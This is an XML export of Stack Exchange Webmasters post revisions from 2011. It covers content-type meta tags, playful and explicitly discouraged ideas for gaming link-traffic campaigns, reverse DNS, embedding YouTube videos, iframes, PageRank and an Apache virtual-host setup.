  <row Id="38376" PostHistoryTypeId="2" PostId="16148" RevisionGUID="824f812c-7656-46a5-9aa5-389994cf9887" CreationDate="2011-06-29T09:23:08.303" UserId="8263" Text="I have a question about the meta tag content-type. When starting to build my site (HTML+PHP+JS), I copied a lot of the meta tags over from elsewhere, and I have, amongst others, the following:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-type&quot; content=&quot;application/xhtml+xml; charset=iso-8859-1&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Now, I've seen that tag is being used a lot with the value &quot;text/html&quot;. I've been searching the web but could not find a comprehensive explanation regarding what the difference between both is. The &quot;text/html&quot; intuitively sounds more straightforward to me.&#xD;&#xA;&#xD;&#xA;Should I change my tag to that, or might the &quot;application/xhtml+xml&quot; be an equivalent solution ? &#xD;&#xA;&#xD;&#xA;Alternatively, can anyone point me to a resource where the different values for these tags are listed and explained in a clear manner? &#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="38377" PostHistoryTypeId="1" PostId="16148" RevisionGUID="824f812c-7656-46a5-9aa5-389994cf9887" CreationDate="2011-06-29T09:23:08.303" UserId="8263" Text="Which is the appropriate content-type meta tag value ?" />
  <row Id="38378" PostHistoryTypeId="3" PostId="16148" RevisionGUID="824f812c-7656-46a5-9aa5-389994cf9887" CreationDate="2011-06-29T09:23:08.303" UserId="8263" Text="&lt;tags&gt;&lt;meta-description&gt;" />
  <row Id="38379" PostHistoryTypeId="25" PostId="16130" RevisionGUID="e4fa318a-e300-45eb-ad1f-da6ed9a86f33" CreationDate="2011-06-29T09:26:04.387" Comment="http://twitter.com/#!/StackWebmasters/status/86002479199813632" />
  <row Id="38380" PostHistoryTypeId="2" PostId="16149" RevisionGUID="fedbe764-d9c9-44d7-bed0-3a265edf931f" CreationDate="2011-06-29T09:29:49.330" UserId="1643" Text="You can find the full answer here: http://www.w3.org/TR/xhtml-media-types/#intro. However in brief, `application/xhtml+xml` is for XHTML. That document recommends using HTML 4.01, but I recommend using HTML 5 since there is widespread support for it now. The content type for HTML 5 is&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Change the charset to whatever you're using. If you don't know or don't want to understand what you're using then just leave it as utf-8 and most things will work.&#xD;&#xA;&#xD;&#xA;(The HTML vs XHTML debate is long and complicated, so I won't even attempt to summarise it.)" />
  <row Id="38386" PostHistoryTypeId="2" PostId="16152" RevisionGUID="21bd6fbf-1dbd-4592-9082-88a828eca4cd" CreationDate="2011-06-29T10:44:20.797" UserId="3" Comment="deleted 51 characters in body; deleted 9 characters in body; added 2 characters in body; edited body" Text="Pro Webmasters - Stack Exchange is for **professional and enthusiast webmasters**. If your question generally covers the operation of websites which you control, then you&amp;rsquo;re in the right place to ask your question!&#xA;&#xA;Please note that if your question is about detailed HTML, JavaScript, or CSS coding, it *might* be a better fit on [Stack Overflow](http://stackoverflow.com). We prefer questions here about problems or issues that affect **entire websites**." />
  <row Id="38387" PostHistoryTypeId="2" PostId="16153" RevisionGUID="e2eb79fc-4231-428b-8f87-bddc61fee9fc" CreationDate="2011-06-29T11:27:17.967" UserId="2020" Text="OK, so this is purely for my intellectual curiosity and I'm not interested in illegal methods (no botnets please).&#xD;&#xA;&#xD;&#xA;But say, for instance, that some organisation incentivised link sharing in a bid to drive publicity. How could I drive traffic to [my link][1]*? Obviously I could spam all my friends on social networking sites, which is what they want me to do, but that doesn't sound as fun as trying to game the system. (Not that I necessarily dispute the merit of this particular campaign.) &#xD;&#xA;&#xD;&#xA;The ideas I've come up with so far (in order of increasing deviousness) include:&#xD;&#xA;&#xD;&#xA; - **Link-dropping** - This is too close to what they want me to do to be devious, but I've done it here (sorry) and I've done it on Twitter. I'm subverting it slightly by focusing on the game aspects rather than their desired message.&#xD;&#xA; - **AdWords** - Not very devious at all, but effectively free with the vouchers I've accrued. That said, I must be pretty poor at choosing keywords, because I've seen very few hits (~5) so far.&#xD;&#xA; - **Browser testing websites** - The target has a [robots txt][2] which prevents [browsershots][3] from processing it, but I got around this by including it in an iframe on a page that I hosted.&#xD;&#xA;&#xD;&#xA;But my creative juices have run dry I'm afraid. Does anyone have any cheeky/devious/cunning/all-of-the-above idea for driving traffic to [this page][4]?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;\* Sorry, couldn't resist.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vwdarkside.com/en/jedi/tom-wright-7912&#xD;&#xA;  [2]: http://vwdarkside.com/robots.txt&#xD;&#xA;  [3]: http://browsershots.org/&#xD;&#xA;  [4]: http://vwdarkside.com/en/jedi/tom-wright-7912" />
  <row Id="38388" PostHistoryTypeId="1" PostId="16153" RevisionGUID="e2eb79fc-4231-428b-8f87-bddc61fee9fc" CreationDate="2011-06-29T11:27:17.967" UserId="2020" Text="What naughty ways are there of driving traffic?" />
  <row Id="38389" PostHistoryTypeId="3" PostId="16153" RevisionGUID="e2eb79fc-4231-428b-8f87-bddc61fee9fc" CreationDate="2011-06-29T11:27:17.967" UserId="2020" Text="&lt;traffic&gt;&lt;blackhat&gt;" />
  <row Id="38393" PostHistoryTypeId="5" PostId="16153" RevisionGUID="10119fd3-ed37-4eda-8de9-3ab901344ead" CreationDate="2011-06-29T11:30:49.147" UserId="1643" Comment="resist you must" Text="OK, so this is purely for my intellectual curiosity and I'm not interested in illegal methods (no botnets please).&#xD;&#xA;&#xD;&#xA;But say, for instance, that some organisation incentivised link sharing in a bid to drive publicity. How could I drive traffic to my link? Obviously I could spam all my friends on social networking sites, which is what they want me to do, but that doesn't sound as fun as trying to game the system. (Not that I necessarily dispute the merit of this particular campaign.) &#xD;&#xA;&#xD;&#xA;The ideas I've come up with so far (in order of increasing deviousness) include:&#xD;&#xA;&#xD;&#xA; - **Link-dropping** - This is too close to what they want me to do to be devious, but I've done it here (sorry) and I've done it on Twitter. I'm subverting it slightly by focusing on the game aspects rather than their desired message.&#xD;&#xA; - **AdWords** - Not very devious at all, but effectively free with the vouchers I've accrued. That said, I must be pretty poor at choosing keywords, because I've seen very few hits (~5) so far.&#xD;&#xA; - **Browser testing websites** - The target has a robots txt which prevents [browsershots][3] from processing it, but I got around this by including it in an iframe on a page that I hosted.&#xD;&#xA;&#xD;&#xA;But my creative juices have run dry I'm afraid. Does anyone have any cheeky/devious/cunning/all-of-the-above idea for driving traffic to my page?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [3]: http://browsershots.org/&#xD;&#xA;" />
  <row Id="38394" PostHistoryTypeId="16" PostId="16153" RevisionGUID="ef0197cc-8bee-4c37-93ed-1bd19dbc132c" CreationDate="2011-06-29T11:34:06.383" UserId="1253" />
  <row Id="38405" PostHistoryTypeId="2" PostId="16155" RevisionGUID="7a69b8c4-39da-4515-b26a-2add4133d950" CreationDate="2011-06-29T12:14:42.570" UserId="7198" Text="I don't condone these methods and, naturally, would never use them myself, but &amp;mdash; purely out of intellectual curiosity &amp;mdash; here's what I came up with in a couple of minutes:&#xD;&#xA;&#xD;&#xA; 1. Change the default homepage in Internet cafés/Apple Stores/airport kiosks/universities/offices etc. to use your link.&#xD;&#xA; 2. Bid on a 'celebrity twitter auction', where winning bidders get their message retweeted by someone with a large following, and the proceeds go to charity.&#xD;&#xA; 3. Be one of those losers who stands behind live TV presenters in public places with a link or phrase to search for painted on a giant sign.&#xD;&#xA; 4. Tattoo `http://bit.ly/yourlink` onto your forehead. It might not generate *much* traffic&lt;sup&gt;1&lt;/sup&gt;, but it would still prove a talking point 40 years from now.&#xD;&#xA;&#xD;&#xA;Since all of these are sleazy, unthinkable, likely to land you in trouble, or simply juvenile and irritating, you might like to explore more traditional ways to drive traffic instead.&#xD;&#xA;&#xD;&#xA;Like working hard for it, for example.&#xD;&#xA;&#xD;&#xA;You may also wish to consider promoting products because they're genuinely interesting enough to deserve coverage, and not just because a company has jumped on the social bandwagon to incentivise link sharing with a stick and a carrot. Many companies see social media as a one-way path to free marketing when it has the potential to be much more than that. Don't reward those companies by proving them right.&#xD;&#xA;&#xD;&#xA;'Dance, monkey, dance!' is the phrase that springs to mind whenever someone suggests that I promote something that benefits few for free. Think carefully about it. It's a slippery slope. Before you know it, you'll be wearing t-shirts with logos on them.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1: People are curious by nature. You might be surprised.&lt;/sup&gt;" />
  <row Id="38406" PostHistoryTypeId="16" PostId="16155" RevisionGUID="0663b225-2ac1-4daa-9b52-24e42f2899f0" CreationDate="2011-06-29T12:14:42.570" UserId="7198" />
  <row Id="38407" PostHistoryTypeId="5" PostId="16155" RevisionGUID="d40ce980-971b-46aa-a8bb-8c7b6c285e80" CreationDate="2011-06-29T12:20:55.387" UserId="7198" Comment="added 127 characters in body" Text="I don't condone these methods and, naturally, would never use them myself, but &amp;mdash; purely out of intellectual curiosity &amp;mdash; here's what I came up with in a couple of minutes:&#xD;&#xA;&#xD;&#xA; 1. Change the default homepage in Internet cafés/Apple Stores/airport kiosks/universities/offices etc. to use your link.&#xD;&#xA; 2. Bid on a 'celebrity twitter auction', where winning bidders get their message retweeted by someone with a large following, and the proceeds go to charity.&#xD;&#xA; 3. Be one of those losers who stands behind live TV presenters in public places with a link or phrase to search for painted on a giant sign.&#xD;&#xA; 4. Tattoo `http://bit.ly/yourlink` onto your forehead.&lt;sup&gt;1&lt;/sup&gt; It might not generate *much* traffic&lt;sup&gt;2&lt;/sup&gt;, but it would still prove a talking point 40 years from now.&#xD;&#xA;&#xD;&#xA;Since all of these are sleazy, unthinkable, likely to land you in trouble, or simply juvenile and irritating, you might like to explore more traditional ways to drive traffic instead.&#xD;&#xA;&#xD;&#xA;Like working hard for it, for example.&#xD;&#xA;&#xD;&#xA;You may also wish to consider promoting products because they're genuinely interesting enough to deserve coverage, and not just because a company has jumped on the social bandwagon to incentivise link sharing with a stick and a carrot. Many companies see social media as a one-way path to free marketing when it has the potential to be much more than that. Don't reward those companies by proving them right.&#xD;&#xA;&#xD;&#xA;'Dance, monkey, dance!' is the phrase that springs to mind whenever someone suggests that I promote something that benefits few for free. Think carefully about it. It's a slippery slope. Before you know it, you'll be wearing t-shirts with logos on them.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1: Please don't actually do this. I shouldn't have to say that, but this is the Internet, after all.&lt;/sup&gt;  &#xD;&#xA;&lt;sup&gt;2: People are curious by nature. You might be surprised.&lt;/sup&gt;" />
  <row Id="38408" PostHistoryTypeId="25" PostId="16153" RevisionGUID="1d8e2263-8a15-4b01-80f8-2c18703af00e" CreationDate="2011-06-29T12:26:03.900" Comment="http://twitter.com/#!/StackWebmasters/status/86047776965804032" />
  <row Id="38409" PostHistoryTypeId="5" PostId="16155" RevisionGUID="9123f0d6-5694-4c32-88ab-274cf12fad68" CreationDate="2011-06-29T12:28:17.237" UserId="7198" Comment="added 145 characters in body" Text="I don't condone these methods and, naturally, would never use them myself, but &amp;mdash; purely out of intellectual curiosity &amp;mdash; here's what I came up with in a couple of minutes:&#xD;&#xA;&#xD;&#xA; 1. Change the default homepage in Internet cafés/Apple Stores/airport kiosks/universities/offices etc. to use your link.&#xD;&#xA; 2. Bid on a 'celebrity twitter auction', where winning bidders get their message retweeted by someone with a large following, and the proceeds go to charity.&#xD;&#xA; 3. Be one of those losers who stands behind live TV presenters in public places with a link or phrase to search for painted on a giant sign.&#xD;&#xA; 4. Tattoo `http://bit.ly/yourlink` onto your forehead.&lt;sup&gt;1&lt;/sup&gt; It might not generate *much* traffic&lt;sup&gt;2&lt;/sup&gt;, but it would still prove a talking point 40 years from now.&#xD;&#xA;&#xD;&#xA;Since all of these are sleazy, unthinkable, likely to land you in trouble, or simply juvenile and irritating, you might like to explore more traditional ways to drive traffic instead.&#xD;&#xA;&#xD;&#xA;Like working hard for it, for example.&#xD;&#xA;&#xD;&#xA;Or simply considering offline ways to promote online links and projects. It's easy to forget about real world promotional channels sometimes.&#xD;&#xA;&#xD;&#xA;You may also wish to consider promoting products because they're genuinely interesting enough to deserve coverage, and not just because a company has jumped on the social bandwagon to incentivise link sharing with a stick and a carrot. Many companies see social media as a one-way path to free marketing when it has the potential to be much more than that. Don't reward those companies by proving them right.&#xD;&#xA;&#xD;&#xA;'Dance, monkey, dance!' is the phrase that springs to mind whenever someone suggests that I promote something that benefits few for free. Think carefully about it. It's a slippery slope. Before you know it, you'll be wearing t-shirts with logos on them.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1: Please don't actually do this. I shouldn't have to say that, but this is the Internet, after all.&lt;/sup&gt;  &#xD;&#xA;&lt;sup&gt;2: People are curious by nature. You might be surprised.&lt;/sup&gt;" />
  <row Id="38410" PostHistoryTypeId="2" PostId="16156" RevisionGUID="15b27464-81fe-4920-9bc1-0aa424111981" CreationDate="2011-06-29T14:06:18.963" UserId="8687" Text="A few tricks I've used to get traffic:&#xD;&#xA;&#xD;&#xA;Register as an advertiser on all the networks, e.g. adwords, facebook adverts etc. Usually you get a introductory bonus of a few tens of dollars. Also they sometimes do promotions. In December last year I got $100 free facebook ads, valid just until the end of year. Make sure you've used all the free ads you can get before you pay for any.&#xD;&#xA;&#xD;&#xA;Buy up expiring domain names that have some traffic and park them on top of your site. While it's expensive to buy them online, you can buy or rent used names from friends, family, colleagues or customers who aren't using them any more. Since they know you they might be willing to let you use the domain for a while on condition that they get it back later rather than them not renewing the registration and loosing the name." />
  <row Id="38411" PostHistoryTypeId="16" PostId="16156" RevisionGUID="a4414257-254a-461c-9e8a-cf29ad258967" CreationDate="2011-06-29T14:06:18.963" UserId="8687" />
  <row Id="38412" PostHistoryTypeId="2" PostId="16157" RevisionGUID="17d40b15-1708-4db9-a03c-df9855e0cecd" CreationDate="2011-06-29T14:18:33.397" UserId="8687" Text="The reverse DNS isn't usually set on your server but by the host datacentre that manages your server. When I setup a new server I usually send a message to the support saying, &quot;Please set reverse DNS for host.example.com to 123.123.123.123 and please remove reverse DNS for old.example.com.&quot;" />
  <row Id="38417" PostHistoryTypeId="2" PostId="16158" RevisionGUID="3a487106-4cc3-4d1e-9302-40c6f5a5aecb" CreationDate="2011-06-29T15:23:17.707" UserId="8689" Text="Guess, [Google Apps][1] for non-profit organization will suits your needs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/apps/intl/en/nonprofit/index.html" />
  <row Id="38418" PostHistoryTypeId="25" PostId="16148" RevisionGUID="986b2d6d-f769-4867-9ef5-3e4ef4c14789" CreationDate="2011-06-29T15:26:04.227" Comment="http://twitter.com/#!/StackWebmasters/status/86093076321415169" />
  <row Id="38419" PostHistoryTypeId="17" PostId="16159" RevisionGUID="7f655e6e-4a1e-4fe4-b602-0e62b8df7ec4" CreationDate="2011-06-29T15:43:16.190" UserId="-1" Comment="from http://stackoverflow.com/questions/6521920/best-way-to-cleanly-display-15-20-youtube-videos-in-a-webpage" Text="" />
  <row Id="38420" PostHistoryTypeId="17" PostId="16160" RevisionGUID="6d29485e-c177-4edd-bad6-ec6951e1c1e2" CreationDate="2011-06-29T15:43:16.190" UserId="-1" Comment="from http://stackoverflow.com/questions/6521920/best-way-to-cleanly-display-15-20-youtube-videos-in-a-webpage" Text="" />
  <row Id="38421" PostHistoryTypeId="17" PostId="16161" RevisionGUID="35e38d5f-db43-41dc-b47b-2193fee39014" CreationDate="2011-06-29T15:43:16.190" UserId="-1" Comment="from http://stackoverflow.com/questions/6521920/best-way-to-cleanly-display-15-20-youtube-videos-in-a-webpage" Text="" />
  <row Id="38422" PostHistoryTypeId="17" PostId="16162" RevisionGUID="372fe4b6-1f8b-4d3f-bc49-1a12831529a3" CreationDate="2011-06-29T15:43:16.190" UserId="-1" Comment="from http://stackoverflow.com/questions/6521920/best-way-to-cleanly-display-15-20-youtube-videos-in-a-webpage" Text="" />
  <row Id="38423" PostHistoryTypeId="17" PostId="16163" RevisionGUID="24ee8af1-ac90-4ece-968b-1ed3645336de" CreationDate="2011-06-29T15:43:16.190" UserId="-1" Comment="from http://stackoverflow.com/questions/6521920/best-way-to-cleanly-display-15-20-youtube-videos-in-a-webpage" Text="" />
  <row Id="38424" PostHistoryTypeId="2" PostId="16160" RevisionGUID="a2d52ca5-b591-4054-ae91-849245a45d81" CreationDate="2011-06-29T14:10:12.773" UserId="8302" Text="With that many videos, I would create images on the page for each video and then have the image linked to another page on the site with the video. " />
  <row Id="38425" PostHistoryTypeId="2" PostId="16161" RevisionGUID="9f775290-68f9-4bf8-8f87-d56c6454741d" CreationDate="2011-06-29T14:15:41.583" UserDisplayName="jworrin" Text="I have made a few web pages with video capabilities and there are plenty of jquery viewers that would work nicely.  I would say that you need to decide how you are going to deliver the videos, flash vs html5, and then go from there.  If you are unsure of what you want, I would start with videojs because it has fallback support if the client browser does not have HTML5.&#xD;&#xA;&#xD;&#xA;Next you have to figure out how you want to display the videos: grid fashion, list, slider...  Once you have this, you just need to tie in the video viewer.  I personally like the lightbox style with a pop up and modaling the rest of the page.  You could even do a related videos under the playing video inside the lightbox pop up and when they click the new video, just have it refresh the jquery player.&#xD;&#xA;&#xD;&#xA;Good luck!!" />
  <row Id="38426" PostHistoryTypeId="2" PostId="16162" RevisionGUID="935ede60-06c5-4114-b198-612cedc1eee6" CreationDate="2011-06-29T14:33:24.433" UserDisplayName="fudgey" Text="You could try out [AnythingSlider][1]. It has an extension that can pause videos that aren't in view and *continue* playing videos when they come back into view.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://proloser.github.com/AnythingSlider/video.html" />
  <row Id="38427" PostHistoryTypeId="2" PostId="16163" RevisionGUID="b0102f4d-962f-434a-8e9d-a37a02a4bf13" CreationDate="2011-06-29T15:37:23.323" UserDisplayName="Anthony Fisher" Text="You could use a mixture of [JqueryUI Dialogs][1] and [Ajax calls][2].&#xD;&#xA;&#xD;&#xA;Have it so when the user clicks on an image of the video in question, call an ajax function that posts the id of the youtube video to an external page.&#xD;&#xA;&#xD;&#xA;That page then fills in the id in the needed places in the embed code, and then spits it back out.&#xD;&#xA;&#xD;&#xA;You then take that code and put it into the dialog box, and then open in.&#xD;&#xA;&#xD;&#xA;I haven't tried it myself, but that would be the route I would take.&#xD;&#xA;&#xD;&#xA;Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jqueryui.com/demos/dialog/&#xD;&#xA;  [2]: http://api.jquery.com/jQuery.ajax/" />
  <row Id="38428" PostHistoryTypeId="2" PostId="16159" RevisionGUID="76ab7e8a-a75a-420a-a943-d259d6e7ab72" CreationDate="2011-06-29T14:04:15.607" UserId="8661" Text="I am currently building a website for a client who has about 20 or so videos that he wants put on a video gallery page and I was wondering if you guys could help me out and give me some advice on how to go about this.&#xD;&#xA;&#xD;&#xA;I have found yoxview, possibly lightbox... but I don't know if that popup window is really good for video browsing. &#xD;&#xA;&#xD;&#xA;Also, should/could this be asked in the webmasters instead of stackoverflow? " />
  <row Id="38429" PostHistoryTypeId="1" PostId="16159" RevisionGUID="76ab7e8a-a75a-420a-a943-d259d6e7ab72" CreationDate="2011-06-29T14:04:15.607" UserId="8661" Text="best way to cleanly display 15-20 youtube videos in a webpage?" />
  <row Id="38430" PostHistoryTypeId="3" PostId="16159" RevisionGUID="76ab7e8a-a75a-420a-a943-d259d6e7ab72" CreationDate="2011-06-29T14:04:15.607" UserId="8661" Text="&lt;jquery&gt;&lt;youtube&gt;" />
  <row Id="38431" PostHistoryTypeId="17" PostId="16164" RevisionGUID="4ad6497d-6df0-4cc4-a2dd-88ecc4eba4f5" CreationDate="2011-06-29T15:43:46.690" UserId="-1" Comment="from http://stackoverflow.com/questions/6520623/how-to-show-multiple-websites-under-single-webpage" Text="" />
  <row Id="38432" PostHistoryTypeId="17" PostId="16165" RevisionGUID="b75d5117-7f29-462e-ab64-f25f6695de5f" CreationDate="2011-06-29T15:43:46.690" UserId="-1" Comment="from http://stackoverflow.com/questions/6520623/how-to-show-multiple-websites-under-single-webpage" Text="" />
  <row Id="38433" PostHistoryTypeId="17" PostId="16166" RevisionGUID="a4eb804f-5a11-400c-82a1-32e4a52add24" CreationDate="2011-06-29T15:43:46.690" UserId="-1" Comment="from http://stackoverflow.com/questions/6520623/how-to-show-multiple-websites-under-single-webpage" Text="" />
  <row Id="38434" PostHistoryTypeId="17" PostId="16167" RevisionGUID="47225daa-14be-41e9-b477-782420d78c1e" CreationDate="2011-06-29T15:43:46.690" UserId="-1" Comment="from http://stackoverflow.com/questions/6520623/how-to-show-multiple-websites-under-single-webpage" Text="" />
  <row Id="38435" PostHistoryTypeId="17" PostId="16168" RevisionGUID="e219a04b-b56a-4655-ba33-8649aef91b2d" CreationDate="2011-06-29T15:43:46.690" UserId="-1" Comment="from http://stackoverflow.com/questions/6520623/how-to-show-multiple-websites-under-single-webpage" Text="" />
  <row Id="38436" PostHistoryTypeId="2" PostId="16165" RevisionGUID="f1ffa68d-94b6-4c11-80ee-56a8fc1cac1e" CreationDate="2011-06-29T12:30:43.187" UserDisplayName="kleinohad" Text="using HTML iframes might be a simple solution for this" />
  <row Id="38437" PostHistoryTypeId="2" PostId="16168" RevisionGUID="bb5f3d21-dcda-4726-ac91-0bf8b824f4b6" CreationDate="2011-06-29T12:35:38.593" UserDisplayName="Beno" Text="as suggested, use `iframes`&#xD;&#xA;&#xD;&#xA;here is a simple [jsfiddle example](http://jsfiddle.net/Fkm8v/)" />
  <row Id="38438" PostHistoryTypeId="2" PostId="16166" RevisionGUID="af90f23a-3420-4dd1-9d9d-10c5d875e3fb" CreationDate="2011-06-29T12:31:03.800" UserDisplayName="nfechner" Text="Yhat you are looking for could be called a [Portal][1]. [Liferay][2] might be the tool for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Intranet_portal&#xD;&#xA;  [2]: http://www.liferay.com/" />
  <row Id="38439" PostHistoryTypeId="2" PostId="16167" RevisionGUID="10af331a-0224-43fb-bbc2-8554bf78aead" CreationDate="2011-06-29T12:31:40.243" UserDisplayName="Nishchay Sharma" Text="Use an iframe. For the links on the page set target attribute of the &lt;a&gt; tag as the name of the iframe. " />
  <row Id="38440" PostHistoryTypeId="2" PostId="16164" RevisionGUID="174ab505-448a-4b55-8fca-d97c0cf6c068" CreationDate="2011-06-29T12:28:15.997" UserDisplayName="Sharjeel Ahmed" Text="I want create one homepage for all my intranet websites, the page will have links on top border &amp; opens different web applications in the area below. &#xD;&#xA;&#xD;&#xA;Any idea on how this can be achieved with static HTML or using asp/php technologies. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="38441" PostHistoryTypeId="1" PostId="16164" RevisionGUID="174ab505-448a-4b55-8fca-d97c0cf6c068" CreationDate="2011-06-29T12:28:15.997" UserDisplayName="Sharjeel Ahmed" Text="How to show multiple websites under single webpage" />
  <row Id="38442" PostHistoryTypeId="3" PostId="16164" RevisionGUID="174ab505-448a-4b55-8fca-d97c0cf6c068" CreationDate="2011-06-29T12:28:15.997" UserDisplayName="Sharjeel Ahmed" Text="&lt;html&gt;&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="38449" PostHistoryTypeId="2" PostId="16170" RevisionGUID="077e4ec3-0f1b-467f-bdd1-b1503e511da2" CreationDate="2011-06-29T16:15:11.253" UserId="3312" Text="Site A and B are both new, with few incoming links, and no 'do-follow' outgoing links.&#xD;&#xA;&#xD;&#xA;Site A has PR1, and site B has PR0.&#xD;&#xA;&#xD;&#xA;I am curious - Can anyone predict what might happen to the respective PRs if I add a link from A to B (but not reciprocate)?&#xD;&#xA;" />
  <row Id="38450" PostHistoryTypeId="1" PostId="16170" RevisionGUID="077e4ec3-0f1b-467f-bdd1-b1503e511da2" CreationDate="2011-06-29T16:15:11.253" UserId="3312" Text="Effect of adding link from PR1 site to PR0 site?" />
  <row Id="38451" PostHistoryTypeId="3" PostId="16170" RevisionGUID="077e4ec3-0f1b-467f-bdd1-b1503e511da2" CreationDate="2011-06-29T16:15:11.253" UserId="3312" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="38455" PostHistoryTypeId="2" PostId="16172" RevisionGUID="a0285b0a-35ab-44fe-a424-014ca1914697" CreationDate="2011-06-29T16:19:53.560" UserId="1253" Text="It's not possible to say because we don't know enough about the PR1 web *page* or the PR0 web page ([PageRank is per page, not per website][1]). How many links are on the PR1 page? Is the link to you nofollow? Is the PR0 page close to a PR1? Or is it far away?&#xD;&#xA;&#xD;&#xA;But even without knowing any of that, the answer is almost certainly, &quot;nothing much&quot;. PR1 is a very low amount of PageRank. Even if the link to your site was the only link on that page it would be sending so little PageRank to you that all by itself it isn't going to do anything for your page. If the page receiving the link is very close to being a PR1 then this link *may* put it over the edge. &#xD;&#xA;&#xD;&#xA;What you should be focusing on is not PageRank but your pages' rankings. Chasing PageRank is like chasing a ghost. It's a waste of time. Focus on building quality links to your pages. I rather have a link from a well ranked on-topic page then a poorly ranked off topic high PR page. On topic pages that are ranked well carry **a lot** more weight then an off topic page with  high PR. Google sees links as votes and the more authoritative the linking page (e.g. the higher ranked it is for that topic) the more weight its votes carries.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3494/are-page-ranks-for-subdomains-independent/3495#3495" />
  <row Id="38456" PostHistoryTypeId="5" PostId="16108" RevisionGUID="4d1d4bbf-6730-427c-95c1-5b56757ac73b" CreationDate="2011-06-29T16:19:59.190" UserId="8668" Comment="deleted 1 characters in body" Text="I have setup a virtualhost for MacOSX Apache instalation. This are my steps:&#xD;&#xA;&#xD;&#xA;- edit /private/etc/apache2/httpd.conf removing comment from:&#xD;&#xA;&#xD;&#xA;		Include /private/etc/apache2/extra/httpd-vhosts.conf &#xD;&#xA;&#xD;&#xA;- edit /private/etc/apache2/extra/httpd-vhosts.conf, added:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xD;&#xA;ServerName test.local&#xD;&#xA;DocumentRoot &quot;/Users/myusername/Sites/Test/public&quot;&#xD;&#xA;&amp;lt;Directory &quot;/Users/myusername/Sites/Test/public&quot;&amp;gt;&#xD;&#xA;Options Indexes FollowSymLinks Includes&#xD;&#xA;AllowOverride All&#xD;&#xA;Order allow,deny&#xD;&#xA;Allow from all&#xD;&#xA;&amp;lt;/Directory&amp;gt;&#xD;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;- edit /private/etc/hosts added&#xD;&#xA;&#xD;&#xA;		127.0.0.1 test.local&#xD;&#xA;	&#xD;&#xA;- Restart Apache&#xD;&#xA;&#xD;&#xA;But the VirtualHost does not work. To further isolate the problem I check the same configuration with MAMP and the virtual host worked rigth, so the configuration files should be fine.&#xD;&#xA;&#xD;&#xA;What can be wrong?" />
  <row Id="38457" PostHistoryTypeId="6" PostId="16170" RevisionGUID="5e76b067-ad2b-4b65-9d17-a41249d95714" CreationDate="2011-06-29T16:24:55.723" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="38458" PostHistoryTypeId="17" PostId="16173" RevisionGUID="428b5379-77fe-425c-9c37-b2d21078715e" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38459" PostHistoryTypeId="17" PostId="16174" RevisionGUID="e48445a8-66ef-496a-ba00-0e54d3332143" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38460" PostHistoryTypeId="17" PostId="16175" RevisionGUID="2b4974f3-6a32-4367-ac92-46f5d5ba428f" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38461" PostHistoryTypeId="17" PostId="16176" RevisionGUID="c3fee2c8-e42e-45d2-b0dc-01764a8739a1" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38462" PostHistoryTypeId="17" PostId="16177" RevisionGUID="a2782616-a228-464c-af22-63098ea0a746" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38463" PostHistoryTypeId="17" PostId="16178" RevisionGUID="95c0daaa-a697-4501-b3c1-ed0920c078d6" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38464" PostHistoryTypeId="17" PostId="16179" RevisionGUID="f86d4374-ad68-400c-a262-f40159b21665" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38465" PostHistoryTypeId="17" PostId="16180" RevisionGUID="1251cc90-2220-4918-96f5-c963847bf384" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
  <row Id="38466" PostHistoryTypeId="17" PostId="16181" RevisionGUID="578850d6-865f-48d6-a27a-772eca42754f" CreationDate="2011-06-29T16:30:28.047" UserId="-1" Comment="from http://stackoverflow.com/questions/6523736/whats-the-importance-of-the-title-tag" Text="" />
